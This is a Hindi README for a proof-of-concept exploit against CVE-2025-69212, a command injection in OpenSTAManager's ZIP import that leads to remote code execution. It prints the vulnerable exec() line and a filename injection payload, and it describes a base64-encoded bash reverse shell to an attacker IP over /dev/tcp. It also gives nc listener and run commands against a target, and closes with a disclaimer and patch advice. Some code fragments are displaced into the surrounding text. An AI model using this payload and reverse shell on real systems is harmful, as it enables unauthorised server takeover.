
CVE-2025-69212 के लिए पायथन poc, एक्सप्लॉइट
CVE-2025-69212 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, OpenSTAManager <= 2.9.8 में एक OS कमांड इंजेक्शन भेद्यता, जो एक प्रमाणित हमलावर को दुर्भावनापूर्ण रूप से तैयार की गई ZIP फ़ाइल अपलोड के माध्यम से रिमोट कोड निष्पादन प्राप्त करने की अनुमति देती है।
भेद्यता src/Util/XML.php में लगभग पंक्ति 100 पर मौजूद है, जहाँ एप्लिकेशन उपयोगकर्ता-नियंत्रित फ़ाइलनाम को बिना सैनिटाइज़ेशन के सीधे शेल exec() कॉल में पास करता है:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
जब importFE_ZIP प्लगइन () के माध्यम से एक ZIP संग्रह अपलोड किया जाता है, तो एप्लिकेशन ZIP को निकालता है और प्रत्येक प्रविष्टि के फ़ाइलनाम को में पास करता है। एक हमलावर दुर्भावनापूर्ण फ़ाइलनाम वाला ZIP तैयार कर सकता है जो दोहरे-उद्धरण वाले तर्क से बाहर निकलकर मनमाने शेल कमांड इंजेक्ट करता है।
/actions.php.p7mexec()इंजेक्शन पेलोड (फ़ाइलनाम):
invoice.p7m";<COMMAND>;echo ".p7m
परिणामी शेल निष्पादन:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ injected here
नोट: फ़ॉरवर्ड स्लैश
/सीधे फ़ाइलनाम में नहीं आ सकता क्योंकिZipArchive::extractTo()इसे पाथ सेपरेटर के रूप में मानता है। PoC रिवर्स शेल पेलोड को base64-एन्कोड करके इससे बचता है।
requests लाइब्रेरीnc)निर्भरताएँ इंस्टॉल करें:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
| तर्क | आवश्यक | विवरण |
|---|---|---|
-u, --url | हाँ | लक्ष्य का आधार URL (जैसे http://target.htb) |
-U, --username | हाँ | OpenSTAManager उपयोगकर्ता नाम |
-P, --password | हाँ | OpenSTAManager पासवर्ड |
--lhost | हाँ | रिवर्स शेल के लिए आपका IP पता |
--lport | हाँ | रिवर्स शेल के लिए आपका लिसनिंग पोर्ट |
--proxy | नहीं | HTTP प्रॉक्सी (जैसे http://127.0.0.1:8080) |
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Route through Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m फ़ाइल होती है जिसके फ़ाइलनाम में इंजेक्ट किया गया कमांड शामिल होता हैbash -i >& /dev/tcp/LHOST/LPORT 0>&1) को फ़ाइलनाम में फ़ॉरवर्ड स्लैश से बचने के लिए base64-एन्कोड किया जाता हैimportFE_ZIP प्लगइन के माध्यम से ZIP को /actions.php पर POST करता हैexec() में पास करता है, जिससे रिवर्स शेल ट्रिगर होता हैOpenSTAManager 2.9.9 या उसके बाद के संस्करण में अपडेट करें, जो शेल कमांड में पास करने से पहले फ़ाइलनामों को सैनिटाइज़ करता है।
यदि तुरंत पैच करना संभव नहीं है, तो importFE_ZIP प्लगइन अक्षम करें या केवल विश्वसनीय उपयोगकर्ताओं के लिए /actions.php तक पहुँच प्रतिबंधित करें।
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन्हीं सिस्टम पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। जिन सिस्टम के स्वामी आप नहीं हैं, उनके विरुद्ध अनधिकृत उपयोग अवैध और अनैतिक है। लेखक इस टूल से होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है।